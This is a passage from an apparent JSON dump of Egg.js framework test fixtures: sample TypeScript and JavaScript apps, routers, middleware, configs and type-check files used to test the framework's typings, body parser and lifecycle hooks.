 //     test: '123',\n  //   });\n  // }\n\n  // async testViewRenderString() {\n  //   this.ctx.body = await this.ctx.view.renderString('test');\n  // }\n\n  async testQuery() {\n    this.stringQuery(this.ctx.query.foo);\n  }\n\n  async testQueries() {\n    this.stringArrayQuery(this.ctx.queries.foo);\n  }\n\n  stringQuery(q: string) {\n    console.log(q);\n  }\n\n  stringArrayQuery(q: string[]) {\n    console.log(q);\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/app/extend/context.ts",
    "content": "import { Context } from '../../../../../../src/index.js';\n\nexport default {\n  test(this: Context) {\n    return this.url;\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/app/extend/helper.ts",
    "content": "// import { IHelper } from 'egg';\nimport { IHelper } from '../../../../../../src/index.js';\n\nexport default {\n  test(this: IHelper) {\n    (this as any).test2();\n  },\n\n  test2(this: IHelper) {\n    this.ctx.logger.info('foo');\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/app/extend/index.d.ts",
    "content": "import ExtendContext from './context';\nimport ExtendHelper from './helper';\n\ndeclare module 'egg' {\n  type ExtendHelperType = typeof ExtendHelper;\n  type ExtendContextType = typeof ExtendContext;\n  interface IHelper extends ExtendHelperType {}\n  interface Context extends ExtendContextType {}\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/app/middleware/default_ctx.ts",
    "content": "// import { Context } from 'egg';\nimport { Context } from '../../../../../../src/index.js';\n\nexport default () => {\n  return async (ctx: Context, next: () => Promise<any>) => {\n    ctx.locals.url = ctx.url;\n    await next();\n    // console.log(ctx.body.foo);\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/app/middleware/generic_ctx.ts",
    "content": "// import { Context } from 'egg';\nimport { EggContext } from '../../../../../../src/index.js';\n\nexport interface CustomBody {\n  bar: string;\n}\n\nexport default () => {\n  // return async (ctx: Context<CustomBody>, next: () => Promise<any>) => {\n  return async (ctx: EggContext, next: () => Promise<any>) => {\n    ctx.locals.url = ctx.url;\n    await next();\n    console.log((ctx.body as any).bar);\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/app/middleware/index.d.ts",
    "content": "import TestMiddleware from './test';\n\ndeclare module 'egg' {\n  interface IMiddleware {\n    test: typeof TestMiddleware;\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/app/middleware/test.ts",
    "content": "import { Context } from '../../../../../../src/index.js';\n\nexport default () => {\n  return async (ctx: Context, next: () => Promise<any>) => {\n    ctx.locals.url = ctx.url;\n    await next();\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/app/model/test.ts",
    "content": "export default class Test {}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/app/proxy/foo.d.ts",
    "content": "declare module 'egg' {\n  interface Foo {\n    bar(): string;\n  }\n\n  interface IProxy {\n    foo: Foo;\n  }\n\n  interface Context {\n    proxy: IProxy;\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/app/router.ts",
    "content": "// import { Application } from 'egg';\nimport { Application } from '../../../../../src/index.js';\n\nexport default (app: Application) => {\n  const controller = app.controller;\n  app.router.get('/test', app.middlewares.test({}, app), controller.foo.getData);\n  // app.router.get('/test', 'test', controller.foo.getData);\n  app.get('/foo', controller.foo.getData);\n  app.post('/', controller.foo.getData);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/app/service/foo.ts",
    "content": "// import { Service } from 'egg';\nimport { Service } from '../../../../../../src/index.js';\n\n// add user controller and service\ndeclare module 'egg' {\n  interface IService {\n    foo: FooService;\n  }\n}\n\nexport default class FooService extends Service {\n  async bar() {\n    return { env: this.config.env };\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/app.ts",
    "content": "import { Application, IBoot } from '../../../../src/index.js';\nimport testExportClass from './lib/export-class.js';\nimport testLogger from './lib/logger.js';\n\nexport default class AppBoot implements IBoot {\n  private readonly app: Application;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  get stages(): string[] {\n    const app: any = this.app;\n    if (!app.stages) {\n      app.stages = [];\n    }\n    return app.stages;\n  }\n\n  configWillLoad() {\n    this.stages.push('configWillLoad');\n  }\n\n  configDidLoad() {\n    testExportClass(this.app);\n    testLogger(this.app);\n    this.stages.push('configDidLoad');\n  }\n\n  async didLoad() {\n    this.stages.push('didLoad');\n  }\n\n  async willReady() {\n    this.stages.push('willReady');\n  }\n\n  async didReady() {\n    this.stages.push('didReady');\n  }\n\n  async serverDidReady() {\n    this.stages.push('serverDidReady');\n  }\n\n  async beforeClose() {\n    this.stages.push('beforeClose');\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/config/config.ts",
    "content": "import { EggAppConfig } from '../../../../../src/index.js';\n\nexport default () => {\n  const config = {} as EggAppConfig;\n\n  config.keys = 'foo';\n\n  config.serverTimeout = 2 * 60 * 1000;\n\n  config.customLoader = {\n    model: {\n      directory: 'app/model',\n      inject: 'ctx',\n    },\n  };\n\n  config.httpclient = {\n    useHttpClientNext: false,\n    request: {\n      timing: true,\n    },\n  };\n\n  return config;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/lib/export-class.ts",
    "content": "// import { Application } from 'egg';\nimport { Application } from '../../../../../src/index.js';\n\nexport default (app: Application) => {\n  const ctx = app.createAnonymousContext();\n\n  class HttpClient extends app.HttpClient {}\n  new HttpClient(app);\n\n  class Controller extends app.Controller {}\n  new Controller(ctx);\n\n  class Service extends app.Service {}\n  new Service(ctx);\n\n  class Subscription extends app.Subscription {}\n  new Subscription(ctx);\n\n  class ContextHttpClient extends app.ContextHttpClient {}\n  new ContextHttpClient(ctx);\n\n  class ContextLogger extends app.ContextLogger {}\n  new ContextLogger(ctx, app.logger);\n\n  class ContextCookies extends app.ContextCookies {}\n  new ContextCookies(ctx, ['foo']);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/lib/logger.ts",
    "content": "// import { Application, LoggerLevel } from 'egg';\nimport { Application, LoggerLevel } from '../../../../../src/index.js';\n\nexport default (app: Application) => {\n  app.logger.info('test');\n  app.coreLogger.info('test');\n  app.loggers.logger.info('test');\n  app.loggers.coreLogger.info('test');\n  app.getLogger('logger').info('test');\n\n  const ctx = app.createAnonymousContext();\n  ctx.logger.info('test');\n  ctx.coreLogger.info('test');\n  ctx.getLogger('logger').info('test');\n\n  const level: LoggerLevel = 'DEBUG';\n  console.log(level);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/node_modules/egg/index.js",
    "content": "export * from '../../../../../../src/index.js';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/node_modules/egg/package.json",
    "content": "{\n  \"name\": \"egg\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/package.json",
    "content": "{\n  \"name\": \"app-ts\",\n  \"version\": \"1.0.0\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"paths\": {\n      \"egg\": [\"../../../../src/index.ts\"]\n    }\n  },\n  \"rootDir\": \".\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts-esm/.gitignore",
    "content": "*.js\nnode_modules"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts-esm/app/controller/foo.ts",
    "content": "import { Controller } from 'egg';\n\n// add user controller and service\ndeclare module 'egg' {\n  interface IController {\n    foo: FooController;\n  }\n}\n\n// controller\nexport default class FooController extends Controller {\n  async index() {\n    this.ctx.body = 'ok';\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts-esm/app/router.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application) => {\n  app.get('/foo', app.controller.foo.index);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts-esm/config/config.ts",
    "content": "export default {\n  keys: 'foo',\n  serverTimeout: 2 * 60 * 1000,\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts-esm/package.json",
    "content": "{\n  \"name\": \"app-ts\",\n  \"version\": \"1.0.0\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts-esm/tsconfig.json",
    "content": "{\n  \"extends\": \"../app-ts/tsconfig.json\",\n  \"compilerOptions\": {\n    \"esModuleInterop\": true\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts-type-check/error.ts",
    "content": "import {\n  BaseContextClass,\n  Context,\n  Application,\n  Agent,\n  Controller,\n  Service,\n  EggAppConfig,\n  PowerPartial,\n  Singleton,\n} from 'egg';\n\nnew BaseContextClass({} as Context).ctx;\n\nclass MyController extends Controller {\n  async test() {\n    this.ctx.locals.test.localsCheckAny();\n    this.app.config.keys.configKeysCheckAny();\n    this.app.appCheckAny();\n  }\n}\nnew MyController();\n\n// service\nclass MyService extends Service {\n  async test() {\n    this.ctx.locals.test.serviceLocalCheckAny();\n    this.app.config.keys.serviceConfigCheckAny();\n    this.app.serviceAppCheckAny();\n  }\n}\nnew MyService();\n\nconst app = new Application({\n  baseDir: __dirname,\n  plugins: {},\n  type: 'application',\n});\nnew app.ContextHttpClient();\nnew app.HttpClient();\n\nnew Agent(undefined, 1123);\n\n// test error in yadan\nimport { BaseContextClass as YadanBaseContextClass, Application as YadanApplication, Agent as YadanAgent } from 'yadan';\n\nnew YadanBaseContextClass();\nconst yadan = new YadanApplication({\n  baseDir: __dirname,\n  plugins: {},\n  type: 'application',\n});\nnew yadan.ContextHttpClient();\nnew yadan.HttpClient();\nnew YadanAgent(undefined, 1123);\n\n// config\nconst config = {} as EggAppConfig;\nconfig.customLoader = {\n  model: {},\n};\n\n// partial config\nconst config2 = {} as PowerPartial<EggAppConfig>;\nconsole.info(config2.security.csrf);\n\n// singleton\nconst redis = {} as Singleton<{ test(): void }>;\nredis.get('123').checkSingleTon();\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts-type-check/framework.ts",
    "content": "import {\n  BaseContextClass,\n  Context,\n  Application,\n  Agent,\n  Controller,\n  Service,\n  Subscription,\n  YadanApplication,\n} from 'yadan';\n\n// base context class\nnew BaseContextClass({} as Context);\n\n// custom base context class\nclass CustomBaseContextClass extends BaseContextClass {\n  constructor(ctx: Context) {\n    super(ctx);\n  }\n\n  test() {\n    this.logger.info(this.ctx);\n    this.logger.info(this.app.config.keys);\n    this.logger.info(this.ctx.curl('http://127.0.0.1', { method: 'GET' }));\n  }\n}\nnew CustomBaseContextClass({} as Context).test();\n\n// yadan application\nconst yadan = new YadanApplication({ baseDir: __dirname });\nyadan.logger.info('123');\nyadan.middleware.slice(0);\nyadan.name.substring(0);\nyadan.on('egg-ready', () => {});\nyadan.emit('egg-ready');\nyadan.getLogger('test').info('123');\nyadan.inspect();\nyadan.listen(1002);\nyadan.logger.info(yadan.locals.test);\n\n// application\nconst app = new Application({\n  baseDir: __dirname,\n  plugins: {},\n  type: 'application',\n});\napp.logger.info('123');\napp.middleware.slice(0);\napp.name.substring(0);\napp.on('egg-ready', () => {});\napp.emit('egg-ready');\napp.getLogger('test').info('123');\napp.inspect();\napp.listen(1002);\napp.logger.info(app.locals.test);\nconst ctxHttpClient = new app.ContextHttpClient({} as Context);\nctxHttpClient.request('http://127.0.0.1', { method: 'GET' });\nconst appHttpClient = new app.HttpClient(app);\nappHttpClient.request('http://127.0.0.1', { method: 'GET' });\napp.httpclient.request('http://127.0.0.1', { method: 'GET' }).catch(() => {});\napp.logger.info(app.Service);\napp.logger.info(app.Controller);\napp.controller.test().then(() => {});\n\n// test from yadan\napp.fromYadan().then((result) => result.substring(0));\napp.config.yadanType.substring(0);\n\n// agent\nconst agent = new Agent({ baseDir: __dirname, plugins: {}, type: 'agent' });\nagent.logger.info('123');\nagent.name.substring(0);\nagent.on('egg-ready', () => {});\nagent.emit('egg-ready');\nagent.getLogger('test').info('123');\nagent.inspect();\nagent.listen(1002);\nagent.httpclient.request('http://127.0.0.1', { method: 'GET' }).catch(() => {});\nagent.logger.info(agent.Service);\nagent.logger.info(agent.Controller);\n\n// controller\nclass MyController extends Controller {\n  async test() {\n    // test from yadan\n    this.ctx.fromYadan().then((result) => result.substring(0));\n    this.ctx.logger.info(this.app.config.keys);\n    await this.ctx.service.test();\n    await this.service.myserv.test();\n  }\n}\n\n// service\nclass MyService extends Service {\n  async test() {\n    this.ctx.logger.info(this.app.config.keys);\n    await this.app.controller.myctrl.test();\n  }\n}\n\n// subscription\nclass MySubscription extends Subscription {\n  test() {\n    this.logger.info(this.ctx.locals);\n  }\n}\nnew MySubscription({} as Context);\n\n// extends egg\napp.config.mySpecConfig.substring(0);\ndeclare module 'egg' {\n  interface IApplicationLocals {\n    test: string;\n  }\n\n  interface IController {\n    test(): Promise<any>;\n    myctrl: MyController;\n  }\n\n  interface IService {\n    test(): Promise<any>;\n    myserv: MyService;\n  }\n\n  interface EggAppConfig {\n    mySpecConfig: string;\n  }\n}\n\n// extends yadan\napp.config.frameworkYadan.substring(0);\ndeclare module 'yadan' {\n  interface EggAppConfig {\n    frameworkYadan: string;\n  }\n}\n\n// test from xiandan\nimport {\n  BaseContextClass as XiandanBaseContextClass,\n  Context as XiandanContext,\n  Application as XiandanApplication2,\n  Agent as XiandanAgent,\n  Controller as XiandanController,\n  Service as XiandanService,\n  Subscription as XiandanSubscription,\n  XiandanApplication,\n} from 'xiandan';\nnew XiandanAgent({ baseDir: __dirname, plugins: {}, type: 'agent' });\nnew XiandanApplication2({ baseDir: __dirname, plugins: {}, type: 'agent' });\nnew XiandanBaseContextClass({} as XiandanContext);\nnew XiandanController({} as Context);\nnew XiandanService({} as Context);\nnew XiandanSubscription({} as Context);\nnew XiandanApplication().config.XiandanType.substring(0);\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts-type-check/normal.ts",
    "content": "import {\n  BaseContextClass,\n  Context,\n  Application,\n  Agent,\n  Controller,\n  Service,\n  Subscription,\n  EggAppConfig,\n  PowerPartial,\n  Singleton,\n  start,\n  HttpClientRequestURL,\n  HttpClientRequestOptions,\n  HttpClientResponse,\n} from 'egg';\n\n// base context class\nnew BaseContextClass({} as Context);\n\n// custom base context class\nclass CustomBaseContextClass extends BaseContextClass {\n  constructor(ctx: Context) {\n    super(ctx);\n  }\n\n  test() {\n    this.logger.info(this.ctx);\n    this.logger.info(this.app.config.keys);\n    this.logger.info(this.ctx.curl('http://127.0.0.1', { method: 'GET' }));\n  }\n}\nnew CustomBaseContextClass({} as Context).test();\n\n// application\nconst app = new Application({\n  baseDir: __dirname,\n  plugins: {},\n  type: 'application',\n});\napp.logger.info('123');\napp.middleware.slice(0);\napp.name.substring(0);\napp.on('egg-ready', () => {});\napp.emit('egg-ready');\napp.getLogger('test').info('123');\napp.inspect();\napp.listen(1002);\napp.logger.info(app.locals.test);\nconst ctxHttpClient = new app.ContextHttpClient({} as Context);\nctxHttpClient.request('http://127.0.0.1');\nctxHttpClient.request('http://127.0.0.1', { method: 'GET' });\nconst appHttpClient = new app.HttpClient(app);\nappHttpClient.request('http://127.0.0.1');\nappHttpClient.request('http://127.0.0.1', { method: 'GET' });\napp.httpclient.request('http://127.0.0.1').catch(() => {});\napp.httpclient.request('http://127.0.0.1', { method: 'GET' }).catch(() => {});\napp.logger.info(app.Service);\napp.logger.info(app.Controller);\napp.controller.test().then(() => {});\n\nasync function main() {\n  await app.runInAnonymousContextScope(async (ctx) => {\n    await ctx.httpclient.request('url', {});\n    await ctx.httpclient.request('url');\n    await ctx.httpclient.curl('url', {});\n    await ctx.httpclient.curl('url');\n    await app.httpclient.request('url', {});\n    await app.httpclient.request('url');\n    await app.httpclient.curl('url', {});\n    const { res } = await app.httpclient.curl('url', { streaming: true });\n    for await (const chunk of res) {\n      console.log(chunk.toString());\n    }\n  });\n}\nmain();\n\n// agent\nconst agent = new Agent({ baseDir: __dirname, plugins: {}, type: 'agent' });\nagent.logger.info('123');\nagent.name.substring(0);\nagent.on('egg-ready', () => {});\nagent.emit('egg-ready');\nagent.getLogger('test').info('123');\nagent.inspect();\nagent.listen(1002);\nagent.httpclient.request('http://127.0.0.1', { method: 'GET' }).catch(() => {});\nagent.logger.info(agent.Service);\nagent.logger.info(agent.Controller);\n\nasync function request<T = any>(\n  url: HttpClientRequestURL,\n  options: HttpClientRequestOptions,\n): Promise<HttpClientResponse<T>> {\n  const response = await agent.httpclient.request<T>(url, options);\n  return response as HttpClientResponse<T>;\n}\n\nrequest<{ name: 'string' }>('http://127.0.0.1', {}).then((response) => {\n  console.log(response.data.name);\n});\n\n// single process mode\nstart({ baseDir: __dirname, ignoreWarning: true }).then((app) => {\n  const port = 1002;\n  app.logger.info('123');\n  app.on('egg-ready', () => {});\n  app.emit('egg-ready');\n  app.getLogger('test').info('123');\n  app.inspect();\n  app.listen(port);\n  app.logger.info(app.locals.test);\n  const ctxHttpClient = new app.ContextHttpClient({} as Context);\n  ctxHttpClient.request('http://127.0.0.1', { method: 'GET' });\n  const appHttpClient = new app.HttpClient(app);\n  appHttpClient.request('http://127.0.0.1', { method: 'GET' });\n  app.httpclient.request('http://127.0.0.1', { method: 'GET' }).catch(() => {});\n  app.logger.info(app.Service);\n  app.logger.info(app.Controller);\n  app.controller.test().then(() => {});\n});\n\n// controller\nclass MyController extends Controller {\n  async test() {\n    this.ctx.logger.info(this.app.config.keys);\n    await this.ctx.service.test();\n    await this.service.myserv.test();\n  }\n}\n\n// service\nclass MyService extends Service {\n  async test() {\n    this.ctx.logger.info(this.app.config.keys);\n    await this.app.controller.myctrl.test();\n  }\n}\n\n// should allow non-exist function\napp.controller.nonExistFn();\n\n// subscription\nclass MySubscription extends Subscription {\n  test() {\n    this.logger.info(this.ctx.locals);\n  }\n}\nnew MySubscription({} as Context);\n\n// config\nconst config = {} as EggAppConfig;\nconfig.keys = '123123';\nconfig.customLoader = {\n  model: {\n    directory: 'app/model',\n    inject: 'app',\n  },\n};\nconst httpclientOption = {\n  keepAlive: true,\n  freeSocketKeepAliveTimeout: 10 * 60 * 1000,\n  freeSocketTimeout: 10 * 60 * 1000,\n  timeout: 60 * 1000,\n  maxSockets: 20,\n  maxFreeSockets: 100,\n};\nconfig.httpclient = {\n  ...httpclientOption,\n  httpAgent: httpclientOption,\n  httpsAgent: httpclientOption,\n  enableProxy: true,\n  request: {\n    method: 'GET',\n  },\n  proxy: 'http://127.0.0.1:8888',\n};\nconfig.httpclient = httpclientOption;\nconfig.logger = {\n  dir: 'logs',\n  encoding: 'utf8',\n  env: 'prod',\n  level: 'INFO',\n  consoleLevel: 'INFO',\n  disableConsoleAfterReady: true,\n  outputJSON: false,\n  buffer: true,\n  appLogName: 'app-web.log',\n  coreLogName: 'egg-web.log',\n  agentLogName: 'egg-agent.log',\n  errorLogName: 'common-error.log',\n  allowDebugAtProd: false,\n  coreLogger: {},\n};\nconfig.customLogger = {\n  myLogger: {\n    file: './test.log',\n    jsonFile: './test.json',\n    formatter: (meta: any) => meta.date + ' ' + meta.level + ' ' + meta.pid + ' ' + meta.message,\n    contextFormatter: (meta) => JSON.stringify(meta),\n    buffer: true,\n    eol: '\\r\\n',\n  },\n\n  otherLogger: {\n    file: './other.log',\n  },\n};\n\n// partial config\nconst config2 = {} as PowerPartial<EggAppConfig>;\nconfig2.keys = '123123';\nconfig2.customLoader = {\n  model: {\n    directory: 'app/model',\n  },\n};\nconfig2.customLoader = {\n  model: {\n    inject: 'app',\n  },\n};\nconfig2.security = {\n  csrf: false,\n  ssrf: {\n    ipBlackList: ['10.0.0.0/8'],\n    checkAddress(ip) {\n      return ip === '127.0.0.1';\n    },\n  },\n};\nconfig2.logger = {\n  dir: 'logs',\n  encoding: 'utf8',\n  env: 'prod',\n  level: 'INFO',\n  coreLogger: {\n    file: './test.log',\n    level: 'ALL',\n  },\n};\n\n// singleton\nconst redis = {} as Singleton<{ test(): void }>;\nredis.get('123').test();\n\n// extends egg\napp.config.mySpecConfig.substring(0);\ndeclare module 'egg' {\n  interface IApplicationLocals {\n    test: string;\n  }\n\n  interface IController {\n    test(): Promise<any>;\n    myctrl: MyController;\n  }\n\n  interface IService {\n    test(): Promise<any>;\n    myserv: MyService;\n  }\n\n  interface EggAppConfig {\n    mySpecConfig: string;\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts-type-check/tsconfig-error.json",
    "content": "{\n  \"extends\": \"../app-ts/tsconfig.json\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts-type-check/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"paths\": {\n      \"egg\": [\"../../../../index\"]\n    },\n    \"esModuleInterop\": false\n  },\n  \"exclude\": [\"./error.ts\"]\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts-type-check/xiandan.d.ts",
    "content": "// import * as Egg from 'yadan';\n\n// declare module 'egg' {\n//   interface Application {\n//     fromXiandan(): Promise<string>;\n//   }\n\n//   interface Context {\n//     fromXiandan(): Promise<string>;\n//   }\n\n//   interface EggAppConfig {\n//     XiandanType: string;\n//   }\n// }\n\n// declare module 'xiandan' {\n//   class XiandanApplication extends Application {\n//     superXiandan(): Promise<string>;\n//   }\n// }\n\n// export = Egg;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts-type-check/yadan.d.ts",
    "content": "// import * as Egg from 'egg';\n\n// declare module 'egg' {\n//   interface Application {\n//     fromYadan(): Promise<string>;\n//   }\n\n//   interface Context {\n//     fromYadan(): Promise<string>;\n//   }\n\n//   interface EggAppConfig {\n//     yadanType: string;\n//   }\n// }\n\n// declare module 'yadan' {\n//   class YadanApplication extends Application {\n//     superYadan(): Promise<string>;\n//   }\n// }\n\n// export = Egg;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/async-app/app/controller/api.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class ApiController extends app.Controller {\n    async index() {\n      const result = await this.service.api.getName();\n      this.ctx.body.push(result);\n      this.ctx.body.push('controller');\n    }\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/async-app/app/middleware/async.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  return async (ctx, next) => {\n    ctx.body = [];\n    await next();\n    ctx.body.push('middleware');\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/async-app/app/middleware/router.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  return async (ctx, next) => {\n    ctx.body = [];\n    await next();\n    ctx.body.push('router');\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/async-app/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/api', app.middlewares.router(), 'api.index');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/async-app/app/schedule/async.js",
    "content": "exports.schedule = {\n  type: 'worker',\n  interval: 1000000,\n};\n\nexports.task = async (ctx) => {\n  await Promise.resolve();\n  ctx.app.scheduleExecuted = true;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/async-app/app/service/api.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class ApiService extends app.Service {\n    async getName() {\n      await sleep(100);\n      return 'service';\n    }\n  };\n};\n\nfunction sleep(ms) {\n  return new Promise((resolve) => setTimeout(resolve, ms));\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/async-app/app.js",
    "content": "module.exports = (app) => {\n  app.beforeStart(async () => {\n    await Promise.resolve();\n    app.beforeStartExecuted = true;\n  });\n\n  app.ready(async () => {\n    await app.runSchedule('async');\n  });\n\n  app.beforeClose(async () => {\n    await Promise.resolve();\n    app.beforeCloseExecuted = true;\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/async-app/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'key';\nexports.middleware = ['async'];\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/async-app/package.json",
    "content": "{\n  \"name\": \"async-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/base-context-class/app/controller/home.js",
    "content": "module.exports = (app) => {\n  return class HomeController extends app.Controller {\n    async show() {\n      await this.service.home.show();\n      this.ctx.body = 'hello';\n      this.logger.debug('debug');\n      this.logger.info('appname: %s', this.config.name);\n      this.logger.warn('warn');\n      this.logger.error(new Error('some error'));\n    }\n\n    getPathName() {\n      this.ctx.body = this.pathName;\n    }\n\n    getConfig() {\n      this.ctx.body = this.config.name;\n    }\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/base-context-class/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', 'home.show');\n  app.get('/pathName', 'home.getPathName');\n  app.get('/config', 'home.getConfig');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/base-context-class/app/service/home.js",
    "content": "module.exports = (app) => {\n  return class HomeController extends app.Service {\n    async show() {\n      this.ctx.body = 'hello';\n      this.logger.debug('debug');\n      this.logger.info('appname: %s', this.config.name);\n      this.logger.warn('warn');\n      this.logger.error(new Error('some error'));\n    }\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/base-context-class/config/config.default.js",
    "content": "exports.keys = 'test keys';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/base-context-class/config/config.unittest.js",
    "content": "exports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/base-context-class/package.json",
    "content": "{\n  \"name\": \"base-context-class\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/body_parser_testapp/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/test/body_parser/user', function () {\n    this.body = {\n      url: this.url,\n      csrf: this.csrf,\n    };\n  });\n\n  app.post('/test/body_parser/user', function () {\n    this.logger.info('request body %s', this.request.body);\n    this.body = this.request.body;\n  });\n\n  app.post('/test/body_parser/foo.json', function () {\n    this.body = this.request.body;\n  });\n  app.post('/test/body_parser/form.json', function () {\n    this.body = this.request.body;\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/body_parser_testapp/config/config.default.js",
    "content": "exports.bodyParser = {\n  formLimit: '100kb',\n  jsonLimit: '100kb',\n  textLimit: '100kb',\n  queryString: {\n    arrayLimit: 5,\n  },\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/body_parser_testapp/package.json",
    "content": "{\n  \"name\": \"body_parser_testapp\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/body_parser_testapp_disable/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/test/body_parser/user', function () {\n    this.body = {\n      url: this.url,\n      csrf: this.csrf,\n    };\n  });\n\n  app.post('/test/body_parser/user', function () {\n    this.body = this.request.body;\n  });\n\n  app.post('/test/body_parser/foo.json', function () {\n    this.body = this.request.body;\n  });\n  app.post('/test/body_parser/form.json', function () {\n    this.body = this.request.body;\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/body_parser_testapp_disable/config/config.default.js",
    "content": "exports.bodyParser = {\n  enable: false,\n};\n\nexports.security = {\n  csrf: false,\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/body_parser_testapp_disable/config/plugin.js",
    "content": "exports.teggEventbus = {\n  enable: false,\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/body_parser_testapp_disable/package.json",
    "content": "{\n  \"name\": \"body_parser_testapp_disable\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/body_parser_testapp_ignore/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/test/body_parser/user', function () {\n    this.body = {\n      url: this.url,\n      csrf: this.csrf,\n    };\n  });\n\n  app.post('/test/body_parser/user', function () {\n    this.body = this.request.body;\n  });\n\n  app.post('/test/body_parser/foo.json', function () {\n    this.body = this.request.body;\n  });\n  app.post('/test/body_parser/form.json', function () {\n    this.body = this.request.body;\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/body_parser_testapp_ignore/config/config.default.js",
    "content": "exports.bodyParser = {\n  ignore: '/test/body_parser/foo.json',\n};\n\nexports.security = {\n  csrf: false,\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/body_parser_testapp_ignore/package.json",
    "content": "{\n  \"name\": \"body_parser_testapp_ignore\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/body_parser_testapp_match/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/test/body_parser/user', function () {\n    this.body = {\n      url: this.url,\n      csrf: this.csrf,\n    };\n  });\n\n  app.post('/test/body_parser/user', function () {\n    this.body = this.request.body;\n  });\n\n  app.post('/test/body_parser/foo.json', function () {\n    this.body = this.request.body;\n  });\n  app.post('/test/body_parser/form.json', function () {\n    this.body = this.request.body;\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/body_parser_testapp_match/config/config.default.js",
    "content": "exports.bodyParser = {\n  match: '/test/body_parser/foo.json',\n};\n\nexports.security = {\n  csrf: false,\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/body_parser_testapp_match/package.json",
    "content": "{\n  \"name\": \"body_parser_testapp_match\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/boot-app/agent.js",
